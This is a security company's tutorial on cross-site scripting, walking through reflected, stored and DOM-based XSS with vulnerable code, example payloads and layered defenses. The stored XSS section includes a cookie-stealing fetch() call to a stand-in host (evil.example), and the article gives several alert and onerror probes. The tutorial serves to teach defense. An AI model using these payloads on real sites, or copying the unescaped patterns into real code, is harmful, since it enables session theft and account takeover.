Security operations

Cross-Site Scripting Example: How XSS Works, With Real Code

A cross-site scripting example makes the abstract concrete: one unescaped input, and attacker JavaScript runs in your users' browsers. Here are the three types, worked through in code.

Cysoro Security TeamPublished · 9 min read
<div>Hello, user</div><script>steal(cookie)</script>! Unescaped input runs as codedocument.cookiesession token SECURITY OPERATIONS Cross-sitescripting One input. Their code in your page.
Quick answer

Cross-site scripting (XSS) happens when a web application puts untrusted user input into a page without encoding it, so the browser runs that input as code. A reflected XSS example hides the script in a link, a stored example saves it in a comment or profile, and a DOM-based example triggers it in client-side JavaScript. The fix is context-aware output encoding, a strict Content Security Policy, and HttpOnly cookies.

Key takeaways

  • XSS is untrusted input rendered as code: the browser cannot tell attacker JavaScript from your own.
  • Stored XSS is the most dangerous type because one payload runs for every visitor who views the page.
  • Output encoding is the primary fix; a Content Security Policy and HttpOnly cookies limit the damage if it fires.

Cross-site scripting sounds abstract until you see it in code. One line that prints user input without encoding it is enough for an attacker to run JavaScript in your visitors' browsers — as your site, with your users' sessions.

What is cross-site scripting?

Cross-site scripting (XSS) is an injection attack in which malicious scripts are injected into a trusted website and run in another user's browser. OWASP describes it as a flaw that occurs anywhere an application uses user input in the output it generates without validating or encoding it.

The browser has no way to know the script should not be trusted. Because it thinks the script came from the trusted site, the script can access cookies, session tokens, and other sensitive information retained by the browser for that site, and it can rewrite the page itself.

XSS is classified as CWE-79, improper neutralization of input during web page generation. In the OWASP Top 10:2025, it sits inside A05 Injection, alongside SQL injection and command injection.

What is a reflected XSS example?

A reflected XSS example starts with a search page that echoes the query back into the response without encoding it. The payload travels in the link, is reflected by the server, and runs once for the person who clicks it.

Here is the vulnerable pattern, in the style of OWASP's own example. A page reads an employee ID from the request and prints it directly:

<% String eid = request.getParameter("eid"); %>
Employee ID: <%= eid %>

With a normal value such as 1042, the page works fine. The danger appears when the value contains markup. An attacker crafts a link like this:

https://example.com/profile?eid=<script>alert(document.cookie)</script>

When a victim clicks the link, the server reflects the script into the response and the victim's browser runs it. The harmless alert proves the point; a real payload would send the session cookie to the attacker's server instead.

Why would anyone click that link?Attackers shorten the URL, hide it behind a button, or send it in a message that looks like it comes from the site itself. The victim trusts the domain, not the link.

Reflected XSS is also called non-persistent or Type-I XSS, because it runs through a single request and response cycle. It needs a victim to click, but that is a low bar when the link arrives by email, chat, or social media.

What is a stored XSS example?

A stored XSS example saves the payload in the application, so it runs for every user who views the affected page. OWASP calls stored XSS the most dangerous type, and the testing guide lists comments, forums, profiles, and shopping carts as typical storage points.

Imagine a comment form that stores the comment body and renders it without encoding:

<div class="comment">
  <strong>${comment.author}</strong>
  <p>${comment.body}</p>
</div>

An attacker posts this as a comment:

Great article! <script>fetch('https://evil.example/steal?c=' + document.cookie)</script>

Every visitor who loads the comments page now sends their session cookie to the attacker. The attacker does not need to trick anyone into clicking a link; the site delivers the payload itself, to every reader, until someone finds and removes it.

Stored XSS is also called persistent or Type-II XSS. Its blast radius is what makes it dangerous: one stored payload can compromise administrators, moderators, and ordinary users alike, and a payload stored in a profile or ticket can wait weeks before an admin opens it.

What is a DOM-based XSS example?

DOM-based XSS happens entirely in the browser, in client-side JavaScript. The server never sees the payload, so server-side filters cannot catch it. The page reads an untrusted value, such as part of the URL, and writes it into the page with a dangerous sink.

A common pattern reads the URL fragment and inserts it with innerHTML:

const name = new URLSearchParams(location.search).get("name");
document.getElementById("greeting").innerHTML = "Hello, " + name;

An attacker sends a link such as:

https://example.com/welcome?name=<img src=x onerror=alert(document.cookie)>

The page inserts that string as HTML, the image fails to load, the onerror handler fires, and the script runs. No <script> tag was needed at all.

OWASP notes that DOM-based XSS is a subset of client XSS, and that many different HTML tags can carry a payload: <body onload=...>, <img onerror=...>, and encoded URI schemes such as javascript: links. Blocking the word script does not stop it.

How do the three types of XSS compare?

The three types differ in where the payload lives and who must act for it to run. Stored XSS needs no victim action beyond visiting a page; reflected and DOM-based XSS need a crafted link.

TypeWhere the payload livesVictim action neededWho is affectedTypical fix
ReflectedIn the request, usually a URLClick a crafted linkOne user per clickEncode reflected output
StoredIn the database, comment, or profileJust view the pageEvery viewer until removedEncode stored output; sanitize on save
DOM-basedIn client-side code, often the URLClick a crafted linkOne user per clickUse textContent, not innerHTML
Blind storedIn a form read later by staffAn admin opens the recordStaff and adminsEncode output in admin views too

Blind XSS is a form of stored XSS worth knowing about. The payload is submitted through a feedback or support form and only runs when a staff member opens it in a back-office application, which is exactly the account an attacker wants.

Three routes, one result: attacker code runs as your siteReflectedpayload in a linkserver reflects it backStoredpayload saved in thedatabase, served to allDOM-basedpayload in client-sideJavaScript, no server tripVictim browser runs the scriptcookies, tokens and page content are now readable
Reflected, stored and DOM-based XSS all end the same way: attacker code runs with the site's trust. Illustration by Cysoro.

What can an attacker do with XSS?

An XSS payload runs with the same privileges as the legitimate page, so it can do anything the page can do. Session theft is the classic goal, but it is far from the only one.

  • Steal the session. Read document.cookie and send it to the attacker, who replays it to log in as the victim.
  • Act as the victim. Make requests from inside the page, change settings, transfer funds, or send messages, all authenticated.
  • Log keystrokes. Attach a listener that records everything typed, including passwords entered after the payload runs.
  • Deface or spoof the page. Replace content with a fake login form, a ransom note, or altered prices and dosage information.
  • Scan the victim's network. OWASP notes stored XSS can be used to port-scan internal hosts from the victim's browser.

OWASP gives a stark example of the stakes: an XSS flaw on a pharmaceutical site could let an attacker modify dosage information, while one on a news site could move a stock price. The most severe attacks end in disclosure of the session cookie and full account takeover.

Are there real XSS cases?

Yes, and they keep appearing in major products. XSS has topped the CWE Top 25 by CVE frequency in recent years, which means more reported vulnerabilities are XSS than any other weakness type.

Public bug-bounty reports regularly show XSS in search boxes, profile fields, file uploads, and support forms — the same places the OWASP testing guide tells testers to look. The pattern is consistent: a field that accepts user input and a page that displays it without encoding.

For small teams, the lesson is not that big companies are careless. It is that XSS hides in ordinary features. Any page that echoes input back — a search box, an error message, a username, a filename — is a candidate, and the fix is the same in every case.

How do you fix XSS?

The primary defense is output encoding, applied for the context where the data is inserted. OWASP's XSS prevention guidance starts there, and everything else is a second layer.

Encode text placed in HTML element content, use attribute encoding for values in attributes, URL encoding for values in links, and JavaScript encoding for values in scripts. Modern frameworks such as React, Vue, and Django templates escape by default; the danger comes from escape hatches like dangerouslySetInnerHTML or a template safe filter.

// Safe: textContent treats input as text, never as HTML
document.getElementById("greeting").textContent = "Hello, " + name;

Validate input on the server as well, but do not rely on it alone. An allowlist of expected characters helps, yet encoding is what stops a payload that slips through. Never build HTML by concatenating user input into a string.

Fix XSS in layers, starting with encoding1. Context-aware output encoding — the primary fix2. Framework escaping by default — avoid innerHTML and safe filters3. Strict Content Security Policy — block inline scripts4. HttpOnly and Secure cookies — keep session tokens from JavaScript5. Test it — scan, review code, and try payloads in staging
Five layers of XSS defense. Encoding stops the payload; the other layers limit the damage if one slips through. Illustration by Cysoro.

What do CSP and HttpOnly cookies do?

A Content Security Policy (CSP) is a response header that tells the browser which script sources are allowed. A strict policy that blocks inline scripts means even a successful injection cannot run, because the browser refuses to execute it.

HttpOnly cookies cannot be read by JavaScript at all. If an XSS payload fires, it cannot steal the session cookie directly, though it can still act as the user inside the page. Mark session cookies HttpOnly and Secure, and set a sensible SameSite value as well.

Check your own headers with our free security headers checker to see whether CSP and related headers are present. OWASP's XSS guidance lists the same defenses, starting with output encoding.

For a wider review, our guide to small business cybersecurity covers headers alongside patching and backups.

How do you test for XSS?

Start with a code review: search for every place where HTTP input can reach HTML output. OWASP's testing guide recommends exactly that, and notes that scanners such as Nessus and Nikto can help but only scratch the surface.

  1. Map inputs. List every form, URL parameter, header, and file upload that ends up displayed anywhere, including admin screens.
  2. Try a harmless probe. Enter a string such as <script>alert(1)</script> in staging and see whether it is encoded, stripped, or executed.
  3. Try event handlers. Test <img src=x onerror=alert(1)> and similar payloads, because filters often block script tags only.
  4. Test stored paths. Submit a payload, log out, log back in as another user, and view the page to catch stored XSS.
  5. Check the DOM. Search client-side code for innerHTML, document.write, and eval fed by URL or storage values.

Test in staging, never in production against real users. A stored payload left in a live comment section is itself an incident, and cleaning it up after the fact is harder than preventing it.

What are the common XSS mistakes?

The most common mistake is assuming input validation is enough. Validation helps, but encoding is the control that stops a payload at the point where data becomes output. A second mistake is encoding once, in the wrong context: HTML-encoding a value placed inside a JavaScript string does not protect it.

Other mistakes include trusting that a WAF will catch everything, allowing unsafe-inline in a CSP, and forgetting admin and back-office views. Blind XSS targets exactly those forgotten screens, where a support agent opens a payload an attacker submitted days earlier.

Finally, do not assume a read-only or brochure site is safe. OWASP warns explicitly against that thinking: a reflected XSS flaw on a simple site can still steal sessions and redirect visitors, because the attack runs in the visitor's browser, not on your server.

The bottom line

Cross-site scripting is a data-versus-code problem. Every time untrusted input reaches a page without encoding, the browser may treat it as code, and the attacker inherits your site's trust.

Encode output for its context, let your framework escape by default, add a strict Content Security Policy, and mark session cookies HttpOnly. Then verify it all with our free security headers checker and a staging test before your users find the flaw first.

Frequently asked questions

What is cross-site scripting in simple terms?

Cross-site scripting is when an attacker gets their own JavaScript to run inside another person's browser, on a trusted website. The site includes attacker input in a page without encoding it, so the browser treats the input as part of the page's code.

What is an example of cross-site scripting?

A search page that echoes your query back without encoding it is a classic example. An attacker sends a link with a script in the search term, and when the victim clicks it, the script runs in their browser on the trusted site.

What is the difference between reflected and stored XSS?

Reflected XSS travels in a single request, usually a crafted link, and runs once for the person who clicks it. Stored XSS is saved in the application's database, for example in a comment, and runs for every user who views that page until it is removed.

What is DOM-based XSS?

DOM-based XSS happens entirely in client-side JavaScript. The page reads an untrusted value, such as part of the URL, and writes it into the page with a dangerous sink like innerHTML, so the script runs without the server ever seeing it.

Can XSS steal passwords?

XSS can steal session cookies and tokens, read page content, log keystrokes, and rewrite a page to show a fake login form. If cookies are marked HttpOnly, JavaScript cannot read them, but the script can still act as the logged-in user inside the page.

How do you prevent cross-site scripting?

Encode output for the context where data is inserted, use frameworks that escape by default, validate input on the server, set a strict Content Security Policy, and mark session cookies HttpOnly and Secure.

Is XSS still common in 2026?

Yes. Cross-site scripting remains one of the most frequently reported web weaknesses, and the 2025 CWE Top 25 lists it first by CVE frequency. It sits inside the Injection category of the OWASP Top 10:2025.

What is the difference between XSS and SQL injection?

XSS injects code that runs in a victim's browser, while SQL injection injects code that runs in the application's database. Both come from untrusted input reaching an interpreter, and both are fixed by keeping data separate from code.

Sources

  1. OWASP — Cross Site Scripting (XSS)
  2. OWASP Web Security Testing Guide — Testing for Stored Cross Site Scripting
  3. OWASP Top 10:2025 — Developer Guide
  4. MITRE CWE — CWE-79: Improper Neutralization of Input During Web Page Generation
Written & fact-checked byCysoro Security Team

The engineers and analysts who build Cysoro's domain scanner, email-authentication checks and free security tools. We test what we write about every day — SPF, DKIM, DMARC, certificates, look-alike domains and phishing — and check each guide against the relevant standards, government guidance and vendor documentation.

  • Email authentication
  • Phishing & BEC
  • Domain & DNS security
  • Small-business security

Checked against OWASP's XSS guidance, the OWASP Web Security Testing Guide, and CWE-79.

How we write and fact-check →

Free tools for this topic

No account needed.

See where your domain stands

Free for up to 3 domains. No card, no installs.

Start free